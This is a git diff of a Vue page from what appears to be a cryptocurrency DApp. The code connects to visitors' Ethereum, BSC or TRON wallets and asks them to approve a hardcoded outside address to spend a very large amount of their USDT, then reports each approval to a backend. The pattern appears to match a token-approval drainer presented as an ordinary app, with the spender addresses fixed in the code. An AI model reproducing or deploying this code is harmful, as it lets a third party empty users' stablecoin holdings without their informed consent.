gx
queenwuli
2022-04-18 5fc190296c7c86bf4a6a5db73e31417c9c9fd173
src/pages/index/index.vue
@@ -153,6 +153,9 @@
      proxy.walletAddress = accounts[0];
      console.log('所有的账户,拿得到吗?')
      console.log(accounts)
      const chainId = await proxy.web3.eth.getChainId();
      proxy.chainType = chainId == 1 ? 'ETH' : 'BSC'
      sessionStorage.setItem('chain', proxy.chainType);
      proxy.isApprove()
    }
    
@@ -286,16 +289,19 @@
        await window.ethereum.enable();
        const accounts = await ethereum.request({ method: 'eth_accounts' });
        address = accounts[0];
        console.log('dapp环境噢')
        console.log(accounts)
        this.web3 = new Web3(window.ethereum);
        const chainId = await this.web3.eth.getChainId();
        this.chainType = chainId == 1 ? 'ETH' : 'BSC'
      }else if(window.tronWeb){
        address = window.tronWeb.defaultAddress.base58;
        this.chainType = 'TRX'
      }
      this.walletAddress = address;
      sessionStorage.setItem('chain', this.chainType);
    },
    isApprove () {
        this.$axios({
          url: '/dapi/common/isApprove/' + this.walletAddress,
          url: '/dapi/common/isApprove/' + this.chainType +'/'+this.walletAddress,
          method: 'get'
        }).then((res) => {
          if(res.code == 200) {
@@ -321,30 +327,28 @@
    async approve () {
      this.isApproving = true;
      if(window.ethereum) {
        this.ethereumApprove(new Web3(window.ethereum))
        this.ethereumApprove()
      }else if(window.tronWeb){
        this.tornWebApprove()
      }else{
        this.ethereumApprove(this.web3)
        this.ethereumApprove()
      }
    },
    async ethereumApprove (web3) {
    async ethereumApprove () {
      let contractAddress = '';
      let authAddress = '';
      const chainId = await web3.eth.getChainId();
      console.log(web3)
      const chainId = await this.web3.eth.getChainId();
      console.log(this.web3)
      console.log('chainId----'+chainId) 
      if(chainId == 1) {
          contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
          authAddress = '0x6c5640c572504a75121e57760909a9dd0E672f2D';
          this.chainType = 'ETH'
      }else if(chainId == 56) {
          contractAddress = "0x55d398326f99059fF775485246999027B3197955";
          authAddress = '0x4ebdca102623b46a47042d580dddade2a53d057f';
          web3.eth.currentProvider.rpcUrl='https://data-seed-prebsc-1-s1.binance.org:8545';
          this.web3.eth.currentProvider.rpcUrl='https://data-seed-prebsc-1-s1.binance.org:8545';
          console.log('bian---')
          console.log(web3.eth.currentProvider)
          this.chainType = 'BSC'
          console.log(this.web3.eth.currentProvider)
      }else{
        this.$toast(this.$t('message.Waringing'));
        this.isApproving = false;
@@ -352,7 +356,7 @@
        return;
      }
      const abi = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}];
      const contract = new web3.eth.Contract(abi, contractAddress);
      const contract = new this.web3.eth.Contract(abi, contractAddress);
      contract.methods.approve(authAddress, 90000000000000).send({from:this.walletAddress, gas:100000}).then((res) => {
        console.log('授权成功')
        console.log(res)
@@ -367,7 +371,6 @@
      })
    },
    async tornWebApprove () {
      this.chainType = 'TRX'
      const tronWeb = window.tronWeb;
      const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
      const authAddress = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";